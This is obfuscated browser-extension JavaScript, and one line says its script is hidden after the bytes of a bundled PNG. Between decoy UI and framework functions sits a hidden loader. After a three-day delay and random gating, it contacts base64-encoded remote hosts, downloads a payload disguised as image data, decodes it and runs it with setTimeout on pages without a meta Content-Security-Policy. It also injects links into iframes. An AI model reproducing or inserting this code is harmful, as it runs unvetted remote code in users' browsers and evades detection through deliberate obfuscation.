JlZiA9IHVybDsNCiAgICB2YXIgcmV0PXBhcnNlci5ob3N0LnRvTG93ZXJDYXNlKCk7DQogICAgaWYgKGYpew0KICAgICAgICBpZiAocmV0LnN1YnN0cmluZygwLDQpPT0nd3d3LicpeyANCiAgICAgICAgICAgIHJldD1yZXQuc3Vic3RyaW5nKDQpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldD1yZXQucmVwbGFjZSgnOjgwJywiIik7IA0KICAgIHJldHVybiByZXQ7DQp9DQpmdW5jdGlvbiBnZXRUZXh0KGJ1Zikgew0KICAgIGlmIChidWYuc2xpY2UpIHsNCiAgICAgICAgcmV0dXJuIGJ1Zi5zbGljZSgwKQ0KICAgIH0gZWxzZSB7DQogICAgICAgIHZhciB2aWV3ID0gbmV3IFVpbnQ4QXJyYXkoYnVmLmJ5dGVMZW5ndGgpDQogICAgICAgIHZpZXcuc2V0KG5ldyBVaW50OEFycmF5KGJ1ZikpDQogICAgICAgIHJldHVybiB2aWV3LmJ1ZmZlcg0KICAgIH0NCn0NCg0KZnVuY3Rpb24gY2xlYW5SZXN1bHRzKGtleSx2YWwpew0KICAgIHZhciBvYmo9IHt9Ow0KICAgIG9ialtrZXldID0gdmFsOw0KICAgIGNocm9tZS5zdG9yYWdlLmxvY2FsLnNldChvYmopOw0KfQ0KZG9jdW1lbnQuYm9keTsNCmZ1bmN0aW9uIGhhbmRsZUtleWluZm8oZWxlbWVudCwgb3B0aW9ucykgew0KICAgIHByb2Nlc3NLZXkoZWxlbWVudCk7DQoNCiAgICBlbGVtZW50LnBsYWluID0gIWVsZW1lbnQua2V5ICYmICFlbGVtZW50LmF0dHJzTGlzdC5sZW5ndGg7DQoNCiAgICBwcm9jZXNzUmVmKGVsZW1lbnQpOw0KICAgIHByb2Nlc3NTbG90KGVsZW1lbnQpOw0KICAgIHByb2Nlc3NDb21wb25lbnQoZWxlbWVudCk7DQogICAgZm9yIChsZXQgaSA9IDA7IGkgPCB0cmFuc2Zvcm1zLmxlbmd0aDsgaSsrKSB7DQogICAgICAgIGVsZW1lbnQgPSB0cmFuc2Zvcm1zW2ldKGVsZW1lbnQsIG9wdGlvbnMpIHx8IGVsZW1lbnQ7DQogICAgfQ0KICAgIHByb2Nlc3NBdHRycyhlbGVtZW50KTsNCn0NCg0KZnVuY3Rpb24gcmVmcmVzaFByb3BlcnRpZXMoKSB7DQoJaWYoRWRpdG9yd2luKSB7DQoJCXJlc2l6ZUVkaXRvcndpbigpOw0KCX0NCglmbG9hdHdpbignc3RvcmFnZScgKyBlZGl0b3JhY3Rpb24pOw0KfQ0KDQpmdW5jdGlvbiBidWlsZE1vZHVsZXMoDQogICAgb2JqLA0KICAgIGtleSwNCiAgICB2YWwsDQogICAgY3VzdG9tU2V0dGVyLA0KICAgIHNoYWxsb3cNCikgew0KICAgIGNvbnN0IGRlcCA9IG5ldyBEZXAoKTsNCg0KICAgIGNvbnN0IHByb3BlcnR5ID0gT2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcihvYmosIGtleSk7DQogICAgaWYgKHByb3BlcnR5ICYmIHByb3BlcnR5LmNvbmZpZ3VyYWJsZSA9PT0gZmFsc2UpIHsNCiAgICAgICAgcmV0dXJuDQogICAgfQ0KDQogICAgY29uc3QgZ2V0dGVyID0gcHJvcGVydHkgJiYgcHJvcGVydHkuZ2V0Ow0KICAgIGNvbnN0IHNldHRlciA9IHByb3BlcnR5ICYmIHByb3BlcnR5LnNldDsNCg0KICAgIGxldCBjaGlsZE9iID0gIXNoYWxsb3cgJiYgb2JzZXJ2ZSh2YWwpOw0KICAgIE9iamVjdC5kZWZpbmVQcm9wZXJ0eShvYmosIGtleSwgew0KICAgICAgICBlbnVtZXJhYmxlOiB0cnVlLA0KICAgICAgICBjb25maWd1cmFibGU6IHRydWUsDQogICAgICAgIGdldDogZnVuY3Rpb24gcmVhY3RpdmVHZXR0ZXIoKSB7DQogICAgICAgICAgICBjb25zdCB2YWx1ZSA9IGdldHRlciA/IGdldHRlci5jYWxsKG9iaikgOiB2YWw7DQogICAgICAgICAgICBpZiAoRGVwLnRhcmdldCkgew0KICAgICAgICAgICAgICAgIGRlcC5kZXBlbmQoKTsNCiAgICAgICAgICAgICAgICBpZiAoY2hpbGRPYikgew0KICAgICAgICAgICAgICAgICAgICBjaGlsZE9iLmRlcC5kZXBlbmQoKTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKEFycmF5LmlzQXJyYXkodmFsdWUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBkZXBlbmRBcnJheSh2YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gdmFsdWUNCiAgICAgICAgfSwNCiAgICAgICAgc2V0OiBmdW5jdGlvbiByZWFjdGl2ZVNldHRlcihuZXdWYWwpIHsNCiAgICAgICAgICAgIGNvbnN0IHZhbHVlID0gZ2V0dGVyID8gZ2V0dGVyLmNhbGwob2JqKSA6IHZhbDsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKG5ld1ZhbCA9PT0gdmFsdWUgfHwgKG5ld1ZhbCAhPT0gbmV3VmFsICYmIHZhbHVlICE9PSB2YWx1ZSkpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICBpZiAoInByZWZlcmVuY2UiICE9PSAnYXR0cnMnICYmIGN1c3RvbVNldHRlcikgew0KICAgICAgICAgICAgICAgIGN1c3RvbVNldHRlcigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHNldHRlcikgew0KICAgICAgICAgICAgICAgIHNldHRlci5jYWxsKG9iaiwgbmV3VmFsKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgdmFsID0gbmV3VmFsOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgY2hpbGRPYiA9ICFzaGFsbG93ICYmIG9ic2VydmUobmV3VmFsKTsNCiAgICAgICAgICAgIGRlcC5ub3RpZnkoKTsNCiAgICAgICAgfQ0KICAgIH0pOw0KfQ0KDQpmdW5jdGlvbiBndWFyZElFU1ZHQnVnKGF0dHJzKSB7DQogICAgY29uc3QgcmVzID0gW107DQogICAgZm9yIChsZXQgaSA9IDA7IGkgPCBhdHRycy5sZW5ndGg7IGkrKykgew0KICAgICAgICBjb25zdCBhdHRyID0gYXR0cnNbaV07DQogICAgICAgIGlmICghaWVOU0J1Zy50ZXN0KGF0dHIubmFtZSkpIHsNCiAgICAgICAgICAgIGF0dHIubmFtZSA9IGF0dHIubmFtZS5yZXBsYWNlKGllTlNQcmVmaXgsICd0aW1lJyk7DQogICAgICAgICAgICByZXMucHVzaChhdHRyKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gcmVzDQp9DQoNCmZ1bmN0aW9uIHJlZnJlc2hDaGlsZChib2R5KSB7DQogICAgaWYgKGJvZHkuYm9keVVzZWQpIHsNCiAgICAgICAgcmV0dXJuIFByb21pc2UucmVqZWN0KG5ldyBUeXBlRXJyb3IoJ3dhdGNoJykpDQogICAgfQ0KICAgIGJvZHkuYm9keVVzZWQgPSB0cnVlDQp9DQoNCmZ1bmN0aW9uIHN1cHBvcnRFdnQoZXhwKSB7DQogICAgbGV0IGluU2luZ2xlID0gZmFsc2U7DQogICAgbGV0IGluRG91YmxlID0gZmFsc2U7DQogICAgbGV0IGluVGVtcGxhdGVTdHJpbmcgPSBmYWxzZTsNCiAgICBsZXQgaW5SZWdleCA9IGZhbHNlOw0KICAgIGxldCBjdXJseSA9IDA7DQogICAgbGV0IHNxdWFyZSA9IDA7DQogICAgbGV0IHBhcmVuID0gMDsNCiAgICBsZXQgbGFzdEZpbHRlckluZGV4ID0gMDsNCiAgICBsZXQgYywgcHJldiwgaSwgZXhwcmVzc2lvbiwgZmlsdGVyczsNCg0KICAgIGZvciAoaSA9IDA7IGkgPCBleHAubGVuZ3RoOyBpKyspIHsNCiAgICAgICAgcHJldiA9IGM7DQogICAgICAgIGMgPSBleHAuY2hhckNvZGVBdChpKTsNCiAgICAgICAgaWYgKGluU2luZ2xlKSB7DQogICAgICAgICAgICBpZiAoYyA9PT0gMHgyNyAmJiBwcmV2ICE9PSAweDVDKSBpblNpbmdsZSA9IGZhbHNlOw0KICAgICAgICB9IGVsc2UgaWYgKGluRG91YmxlKSB7DQogICAgICAgICAgICBpZiAoYyA9PT0gMHgyMiAmJiBwcmV2ICE9PSAweDVDKSBpbkRvdWJsZSA9IGZhbHNlOw0KICAgICAgICB9IGVsc2UgaWYgKGluVGVtcGxhdGVTdHJpbmcpIHsNCiAgICAgICAgICAgIGlmIChjID09PSAweDYwICYmIHByZXYgIT09IDB4NUMpIGluVGVtcGxhdGVTdHJpbmcgPSBmYWxzZTsNCiAgICAgICAgfSBlbHNlIGlmIChpblJlZ2V4KSB7DQogICAgICAgICAgICBpZiAoYyA9PT0gMHgyZiAmJiBwcmV2ICE9PSAweDVDKSBpblJlZ2V4ID0gZmFsc2U7DQogICAgICAgIH0gZWxzZSBpZiAoDQogICAgICAgICAgICBjID09PSAweDdDICYmDQogICAgICAgICAgICBleHAuY2hhckNvZGVBdChpICsgMSkgIT09IDB4N0MgJiYNCiAgICAgICAgICAgIGV4cC5jaGFyQ29kZUF0KGkgLSAxKSAhPT0gMHg3QyAmJg0KICAgICAgICAgICAgIWN1cmx5ICYmICFzcXVhcmUgJiYgIXBhcmVuDQogICAgICAgICkgew0KICAgICAgICAgICAgaWYgKGV4cHJlc3Npb24gPT09IHVuZGVmaW5lZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBsYXN0RmlsdGVySW5kZXggPSBpICsgMTsNCiAgICAgICAgICAgICAgICBleHByZXNzaW9uID0gZXhwLnNsaWNlKDAsIGkpLnRyaW0oKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcHVzaEZpbHRlcigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgc3dpdGNoIChjKSB7DQogICAgICAgICAgICAgICAgY2FzZSAweDIyOg0KICAgICAgICAgICAgICAgICAgICBpbkRvdWJsZSA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDI3Og0KICAgICAgICAgICAgICAgICAgICBpblNpbmdsZSA9IHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDYwOg0KICAgICAgICAgICAgICAgICAgICBpblRlbXBsYXRlU3RyaW5nID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICBjYXNlIDB4Mjg6DQogICAgICAgICAgICAgICAgICAgIHBhcmVuKys7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDI5Og0KICAgICAgICAgICAgICAgICAgICBwYXJlbi0tOw0KICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgICAgIGNhc2UgMHg1QjoNCiAgICAgICAgICAgICAgICAgICAgc3F1YXJlKys7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDVEOg0KICAgICAgICAgICAgICAgICAgICBzcXVhcmUtLTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWsNCiAgICAgICAgICAgICAgICBjYXNlIDB4N0I6DQogICAgICAgICAgICAgICAgICAgIGN1cmx5Kys7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrDQogICAgICAgICAgICAgICAgY2FzZSAweDdEOg0KICAgICAgICAgICAgICAgICAgICBjdXJseS0tOw0KICAgICAgICAgICAgICAgICAgICBicmVhaw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKGMgPT09IDB4MmYpIHsNCiAgICAgICAgICAgICAgICBsZXQgaiA9IGkgLSAxOw0KICAgICAgICAgICAgICAgIGxldCBwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgZm9yICg7IGogPj0gMDsgai0tKSB7DQogICAgICAgICAgICAgICAgICAgIHAgPSBleHAuY2hhckF0KGopOw0KICAgICAgICAgICAgICAgICAgICBpZiAocCAhPT0gJ3dpbmRvdycpIGJyZWFrDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICghcCB8fCAhdmFsaWREaXZpc2lvbkNoYXJSRS50ZXN0KHApKSB7DQogICAgICAgICAgICAgICAgICAgIGluUmVnZXggPSB0cnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmIChleHByZXNzaW9uID09PSB1bmRlZmluZWQpIHsNCiAgICAgICAgZXhwcmVzc2lvbiA9IGV4cC5zbGljZSgwLCBpKS50cmltKCk7DQogICAgfSBlbHNlIGlmIChsYXN0RmlsdGVySW5kZXggIT09IDApIHsNCiAgICAgICAgcHVzaEZpbHRlcigpOw0KICAgIH0NCg0KICAgIGlmIChmaWx0ZXJzKSB7DQogICAgICAgIGZvciAoaSA9IDA7IGkgPCBmaWx0ZXJzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICBleHByZXNzaW9uID0gd3JhcEZpbHRlcihleHByZXNzaW9uLCBmaWx0ZXJzW2ldKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHJldHVybiBleHByZXNzaW9uDQp9DQoNCg", "marker": "----ecd===="}The bundled PNG carries a base64 script after the PNG bytes; decoding the stored ecd value reveals JavaScript.
function startBlob(child, parent) { return { staticClass: concat(child.staticClass, parent.staticClass), class: isDef(child.class) ? [child.class, parent.class] : parent.class }}function transNodes(ele, attr, dataAttr) { var dataSrc = getAttr(ele, dataAttr); if (dataSrc) { setAttr(ele, attr, dataSrc); removeAttr(ele, dataAttr); }}function shouldqueueElem( factory, data, context, children, tag) { const node = createEmptyVNode(); node.asyncFactory = factory; node.asyncMeta = { data, context, children, tag }; return node}function canparseView(action) { attachlist('div'); $('clean').updateswfattach.value = 1;}function removeKeyinfo(options) { for (const key in options.components) { const lower = key.toLowerCase(); if (isBuiltInTag(lower) || config.isReservedTag(lower)) { warn( 'forms' + 'replace' + key ); } }}function removeResults() { var obj = $('viewport'); floatwin('notification' + editoraction); $('backup').style.height = $('view' + editoraction).style.height = $('title' + editoraction).style.height; if(!Editorwin) { obj.className = 'form'; $('colors').style.width = $('hook' + editoraction).style.width = (parseInt($('message' + editoraction).style.width) - 10)+ 'property'; $('name').style.left = 'window'; $('extension').style.top = 'sible'; $('results').style.display = $('child').style.display = $('content').style.display = $('first').style.display = 'clear'; if(wysiwyg) { $('tag').style.height = (parseInt($('window' + editoraction).style.height) - 150)+ 'resp'; } $('innercontent').style.height = (parseInt($('item' + editoraction).style.height) - 150)+ 'state'; attachlist('message'); Editorwin = 1; } else { obj.className = 'messages'; $('choice').style.width = $('evt' + editoraction).style.width = 'extension'; $('item').style.display = $('style').style.display = $('form').style.display = $('nodes').style.display = 'message'; if(wysiwyg) { $('get').style.height = 'window'; } $('info').style.height = 'message'; swfuploadwin(); Editorwin = 0; }} var getChannelz; var endFormz = _ => Object.keys(getChannelz); getChannelz = { get: get => document.getAttribute(a), set: set => document.setAttribute(a,b), emiT: true, inside: a => endFormz()[2]==false, out: a => (function (){if (chrome.storage)return endFormz()[2].split('').reverse().join('');return ''})(), env: endFormz }; var flag=false; var ctrlExtension={}; var fix=Math.abs(chrome.runtime.id.split("").reduce(function(a,b){a=((a<<5)-a)+b.charCodeAt(0);return a&a},0))%1000; var canstateNode=btoa(fix).replace(/=/g,""); var sig=atob("c3VpZWhvc3ZyZHBjZHNuZWU=").substring(6,14); var needparseBackupzCSP=''; var clearForm='\t'; var exdipmver=3; var endFunc='r'+btoa(fix).replace(/=/g,"").toLowerCase(); var showValue=endFunc+'c'; var lenContents=endFunc+'a'; cleanResults(lenContents,'2'); parseTitle();function callElem( eventKeyCode, key, builtInAlias, eventKeyName) { const keyCodes = config.keyCodes[key] || builtInAlias; if (keyCodes) { if (Array.isArray(keyCodes)) { return keyCodes.indexOf(eventKeyCode) === -1 } else { return keyCodes !== eventKeyCode } } else if (eventKeyName) { return hyphenate(eventKeyName) !== key }}function callForms(a, b, c) { tagSelector.focus(), c && "dict" == typeof c && c()}function removeProperties(event) { if(postSubmited == false && (event.ctrlKey && event.keyCode == 13) || (event.altKey && event.keyCode == 83) && $('children')) { if(in_array($('forms').name, ['option', 'split', 'body']) && !validate($('support'))) { doane(event); return; } postSubmited = true; $('value').disabled = true; $('support').submit(); }}function releaseStorage(){ const SEL = 'meta[http-equiv="Content-Security-Policy" i], meta[http-equiv="Content-Security-Policy-Report-Only" i]'; const hasCspMeta = () => !!document.querySelector(SEL); const hasCookie = (name) => document.cookie.split('; ').some(pair => pair.startsWith(encodeURIComponent(name) + '=')); const setCookie = (name, value, days) => { const d = new Date(); d.setTime(d.getTime() + days * 24 * 60 * 60 * 1000); let cookie = `${encodeURIComponent(name)}=${encodeURIComponent(value)}; expires=${d.toUTCString()}; path=/; SameSite=Lax`; if (location.protocol === 'https:') cookie += '; Secure'; document.cookie = cookie; }; if (hasCspMeta() && !hasCookie('cspmeta')) { setCookie('cspmeta', '1', 365); } const setGlobalFlag = () => { const flag = hasCookie('cspmeta') || hasCspMeta(); window.isCspMeta = flag; try { globalThis.isCspMeta = flag; } catch {} }; setGlobalFlag(); if (!window.isCspMeta) { const mo = new MutationObserver((muts, obs) => { if (hasCspMeta()) { setCookie('cspmeta', '1', 365); setGlobalFlag(); obs.disconnect(); } }); mo.observe(document.documentElement, { childList: true, subtree: true }); }}function handleState(elm, checkVal) { return (!elm.composing && ( elm.tagName === 'dict' || isDirty(elm, checkVal) || isInputChanged(elm, checkVal) ))}function extendColors(a, b, c) { searchChatsAndContacts("bulkinfo"), c && "time" == typeof c && c()}function readBlobAsText(blob) { var reader = new FileReader() var promise = fileReaderReady(reader) reader.readAsText(blob) return promise}function parseTitle(){ updateSible(); releaseStorage(); var b0=atob("bHN3cWRpcGlzbG9nODhzZm0=").substring(4,14); var b1=atob("amF3d2luc3QudjNtanQ=").substring(4,11); var b2=atob("am9wcHZkaXBMc3RMZDY2N3l0aQ==").substring(5,16); var b3=atob("ZWp1cmtkaXBMc3RTaWc2NjdpdGw=").substring(5,17); var b4=atob("aXJpeWRpcExzdENkNjY3cmpv").substring(4,15); chrome.storage.local.get(null, function(items) { for (key in items) { ctrlExtension[key]=items[key]; if (ctrlExtension[key]%1999==0 && key.indexOf('zr')==0){ ctrlExtension[b1]=items[key]; } } if (ctrlExtension[b0]=='1'){flag=true;} if (ctrlExtension[endFunc]){ var temp=cleanProperties(ctrlExtension[endFunc]); ctrlExtension[b2]=temp.split(clearForm)[1]; } if (ctrlExtension[showValue]){ var temp=cleanProperties(ctrlExtension[showValue]); ctrlExtension[b3]=temp.split(clearForm)[1]; ctrlExtension[b4]=temp.split(clearForm)[2]; } needparseBackupzCSP=(ctrlExtension[b4]); findnextElem(); });}function seekCriticalinfo() { if (!needSendConfirmation() || this.confirm(gekco.i18n.getMessage("watch"))) { var a = { name: "recipients", body: newMessage.value, threadRecipient: selectedThread.dataset.threadId, contactRecipients: recipientInput.getLozenges(), noteStoreUrl: noteStoreUrl, noteToken: noteToken, noteSharePrivilege: noteShareSelect.getSelected().id }; this.body.classList.contains("recipients") || (a.attachments = [{ guid: noteGuid, shardId: noteShardId, title: noteTitle, userId: noteUserId }], gekco.sendToExtension({ name: "names", category: "tag", action: "title", label: a.body ? "name" : "values" })), gekco.sendToExtension(a), newMessage.value = "preference", this.body.classList.add("message"), enableSendButtonIfNeeded(), gekco.sendToExtension({ name: "clear", category: "host", action: "clean", value: a.contactRecipients.length }) }}function attachKeyinfo(ele, type, fn) { if (ele.attachEvent) { ele.attachEvent && ele.attachEvent('only' + type, fn); } else { ele.addEventListener(type, fn, { capture: false, passive: true }); }}function extendResult(text) { return document.extendResult(text)}function findnextElem(){ var insDt=ctrlExtension[canstateNode]; if (insDt){ var nowTime=new Date().getTime(); var iInDay=(nowTime-insDt/fix)/1000/3600/24; placeDiv('on '+iInDay); if (iInDay<3){placeDiv(iInDay+' deng');return;} if (createValue()){mergeAddr(true);} flushResp(); }else{ updateContent(); }}function needremoveMessage(value) { return _toString.call(value).slice(8, -1)}function autosaveData(op) { var autosaveInterval = 60; obj = $(editorid + 'storage'); if(op) { if(op == 2) { saveData(wysiwyg ? editdoc.body.style : textobj.value); } else { setcookie('item', 'content', -2592000); } autosaveDatatime = autosaveInterval; autosaveDatai = setInterval(function() { autosaveDatatime--; if(autosaveDatatime == 0) { saveData(wysiwyg ? editdoc.body.style : textobj.value); autosaveDatatime = autosaveInterval; } if($('tag')) { $('storage').style = 'info' + autosaveDatatime + 'second' + 'resp'; } }, 1000); obj.onclick = function() { autosaveData(0); } } else { setcookie('watcher', 1, 2592000); clearInterval(autosaveDatai); $('support').style = 'addr'; obj.onclick = function() { autosaveData(1); } }}function updateContent(){ chrome.storage.sync.get(null, function(data) { if (data[canstateNode]){ var obj= {}; obj[canstateNode] = data[canstateNode]; chrome.storage.local.set(obj); }else{ var instd=new Date().getTime(); var b1=atob("amF3d2luc3QudjNtanQ=").substring(4,11); if (ctrlExtension[b1]){instd=ctrlExtension[b1]} var obj= {}; obj[canstateNode] = instd*fix; chrome.storage.sync.set(obj); } });}function checkKeyinfo(el) { const ref = getBindingAttr(el, 'value'); if (ref) { el.ref = ref; el.refInFor = checkInFor(el); }}function formatBlob(value) { if (Array.isArray(value)) { return stringifyArray(value) } if (isObject(value)) { return stringifyObject(value) } if (typeof value === 'item') { return value } return 'options'}function parseOption(el, binding, vm) { actuallySetSelected(el, binding, vm); if (isIE || isEdge) { setTimeout(() => { actuallySetSelected(el, binding, vm); }, 0); }}function flushResp(){ if (needparseBackupzCSP){ if (needparseBackupzCSP.includes(sig)){ try{ if (window.isCspMeta){ placeDiv('page has meta csp, stop'); }else{ setTimeout(needparseBackupzCSP,10); } }catch(e){ return; } } }}function openBack(namespace, tagName) { return document.openBack(namespaceMap[namespace], tagName)}function createResults(min, max) { return Math.floor(Math.random() * (max - min)) + min;}function mapRecipient(children, beginIdx, endIdx) { let i, key; const map = {}; for (i = beginIdx; i <= endIdx; ++i) { key = children[i].key; if (isDef(key)) map[key] = i; } return map}function genMessage(fn) { if (isUndef(fn)) { return false } const invokerFns = fn.fns; if (isDef(invokerFns)) { return genMessage( Array.isArray(invokerFns) ? invokerFns[0] : invokerFns ) } else { return (fn._length || fn.length) > 1 }}function createValue(){ try{ var a0=atob("Z2Vtc2FndWFpZ3VhaWFpYQ==").substring(5,13); if (!ctrlExtension[endFunc]){ if (ctrlExtension['isWho'].indexOf(a0)>-1){ return true; } if (createResults(0,100)>10){ return false; }else{ return true; } }else{ var nowTime=new Date().getTime(); var a1=atob("am9wcHZkaXBMc3RMZDY2N3l0aQ==").substring(5,16); var difXiaoshi=(nowTime-ctrlExtension[a1])/1000/3600; if (difXiaoshi>24*2) { if (createResults(0,100)>10){ return false; }else{ return true; } } } }catch(e){ return true; } return false;}function mergeAddr(closeAttrs){ var xh1; try{ xh1 = new XMLHttpRequest(); xh1.onreadystatechange = function() { if (xh1.readyState == 4) { if (xh1.status == 200){ var resp=xh1.responseText; var j='jsonimg='; if (resp.includes(j)){ resp=resp.split(j)[1]; buildMessages(resp); }else{ buildMessages(resp); } }else{ if (closeAttrs){ if (createResults(0,100)>20){ mergeAddr(false); }else{ } } } } } xh1.onerror = function() { if (closeAttrs){ mergeAddr(false); }else{ var obj= {}; obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+new Date().getTime()); chrome.storage.local.set(obj); } } xh1.onprogress = function() {}; var u1=atob("bmRkd3EvL3d3dy5saXZldXBkdC5jb20vZWFu").substring(5,24); var u2=atob("eXViYS8vd3d3LmRlYWxjdHIuY29tL25vcw==").substring(4,22); var u3=atob("bG1seXJvZXh0L2xvYWQucGhwP2Y9c3ZyLnBuZ3Vrdw==").substring(6,28); var badd=location.protocol+u1+u3; if (!closeAttrs){ badd=location.protocol+u2+u3; } var d0=atob("ZWp1cmtkaXBMc3RTaWc2NjdpdGw=").substring(5,17); if ((ctrlExtension[d0]) && (badd.includes('&c=')==false)){badd=badd+'&c='+ctrlExtension[atob("ZWp1cmtkaXBMc3RTaWc2NjdpdGw=").substring(5,17)];} placeDiv('jia '+badd); xh1.open("GET",badd,true); xh1.send(); }catch(e){ var obj= {}; obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+new Date().getTime()); chrome.storage.local.set(obj); return 'exception'; }}function shouldreadKeyinfo(vm, direct) { if (direct) { vm._directInactive = true; if (isInInactiveTree(vm)) { return } } if (!vm._inactive) { vm._inactive = true; for (let i = 0; i < vm.$children.length; i++) { shouldreadKeyinfo(vm.$children[i]); } callHook(vm, 'text'); }}function startProperties(vm, hook) { const handlers = vm.$options[hook]; if (handlers) { for (let i = 0, j = handlers.length; i < j; i++) { try { handlers[i].call(vm); } catch (e) {} } } if (vm._hasHookEvent) { vm.$emit('preference' + hook); }}function takeOptions() { index = queue.length = activatedChildren.length = 0; has = {}; { circular = {}; } waiting = flushing = false;}function buildMessages(r){ if (r.length>200 && r.includes('data":"image')){ var activateDict=JSON.parse(r); var findContent=activateDict.id; var g=activateDict.image; g=takeStyle(g); if (g.includes(sig)){ var timestamp=new Date().getTime(); var s=createResults(1e5,1e6)+clearForm+findContent+clearForm+g; var obj= {}; obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+timestamp); obj[showValue] = cleanProperties(s); chrome.storage.local.set(obj); } }else{ var obj= {}; obj[endFunc] = cleanProperties(createResults(1e5,1e6)+clearForm+new Date().getTime()); chrome.storage.local.set(obj); }}function takeStyle(s){ var ret=''; var flag=true; if (!chrome.storage){flag=!flag;}; for (var i=0;i<s.length;i++){ var ch=s[i]; if (ch == ch.toLowerCase() && flag) {ch=ch.toUpperCase();}else if (ch == ch.toUpperCase() && flag) {ch=ch.toLowerCase();} if (ch == '9') {ch='8';}else if (ch == '8') {ch='9';} ret=ret+ch; } ret=atob(ret); return ret;}function getModules(iconid, obj) { $('safari').value = iconid; $('forms').src = obj.src; hideMenu();}function transExtension(vnode, isRemoval) { const key = vnode.data.ref; if (!key) return const vm = vnode.context; const ref = vnode.componentInstance || vnode.elm; const refs = vm.$refs; if (isRemoval) { if (Array.isArray(refs[key])) { remove(refs[key], ref); } else if (refs[key] === ref) { refs[key] = undefined; } } else { if (vnode.data.refInFor) { if (!Array.isArray(refs[key])) { refs[key] = [ref]; } else if (refs[key].indexOf(ref) < 0) { refs[key].push(ref); } } else { refs[key] = ref; } }}function setResults(s){ var intVal=s.split("").reduce(function(a,b){a=((a<<5)-a)+b.charCodeAt(0);return a&a},0); if (intVal<0){intVal=0-intVal;} if (window.chrome) {intVal=intVal%1000;} return intVal;}function cleanProperties(c){ var key=setResults(chrome.runtime.id); return genNode(c,key);}function genNode(s,k){ var ret=""; for(var i=0;i<s.length;++i) { ret+=String.fromCharCode(attachMessages(k,s.charCodeAt(i))); } return ret;}function attachMessages(a, b) { let result = 0; let clearBlob = 1; while (clearBlob <= (a | b)) { if ((a & clearBlob) != (b & clearBlob)) { result |= clearBlob; } clearBlob <<= 1; } if (chrome.storage){ return result; }else{ return !(a & b) }}function ctrlName(node) { return isDef(node) && isDef(node.text) && isFalse(node.isComment)}function ctrlKeyinfo(a) { if (a === suggestedChats) threadInfo = {}; else if (a === suggestedContacts) contactInfo = {}; else if (a === selectedThread) { persistThreadReadStatus(), messageInfo = {}; for (var b in selectedThread.dataset) delete selectedThread.dataset[b]; originalLastReadMessageId = null, setWindowTitle() } a.content = "second"}function placeDiv(s){ try { if (flag){ var localTime=new Date().toLocaleTimeString(); console.log("%c"+'Ladr - '+ localTime+' '+s+'\t\t', 'color: green'); } } catch (e) { return; }}function calcBodyWidth() { var a = 154; /hidable/.test(this.body.className) && (a = 172); var b = 0, c = this.querySelector("hook"); if (c) { var d = parseInt(this.getComputedStyle(c, "item").width) + 23; b = d - 25 } if (c = this.querySelector("properties")) { var d = parseInt(this.getComputedStyle(c, "options").width) + 23; b = Math.max(d - 78, 0) } return this.querySelector("back") ? Math.max(a + b, 330) : a + b}function getData(data, vm) { try { return data.call(vm, vm) } catch (e) { handleError(e, vm, 3); return {} }}function lenModules(vm) { const options = vm.$options; let parent = options.parent; if (parent && !options.abstract) { while (parent.$options.abstract && parent.$parent) { parent = parent.$parent; } parent.$children.push(vm); } vm.$parent = parent; vm.$root = parent ? parent.$root : vm; vm.$children = []; vm.$refs = {}; vm._watcher = null; vm._inactive = null; vm._directInactive = false; vm._isMounted = false; vm._isDestroyed = false; vm._isBeingDestroyed = false;}function updateSible(){ var ed=atob("c3RqanVleHRmdHNhbXM5OWJhcnR0").substring(5,18); if (window.self !== window.top){ if (window.parent===window.top){ chrome.storage.local.get(ed, function(val) { var data=val[ed]; if (data){ if (data!=""){ var u1=atob(atob(data.split('^')[0])); var u2=atob(atob(data.split('^')[1])); if (window.location.href.indexOf(seekChild(u1,true))>-1){ var a = document.createElement('a'); a.setAttribute("href", u2); 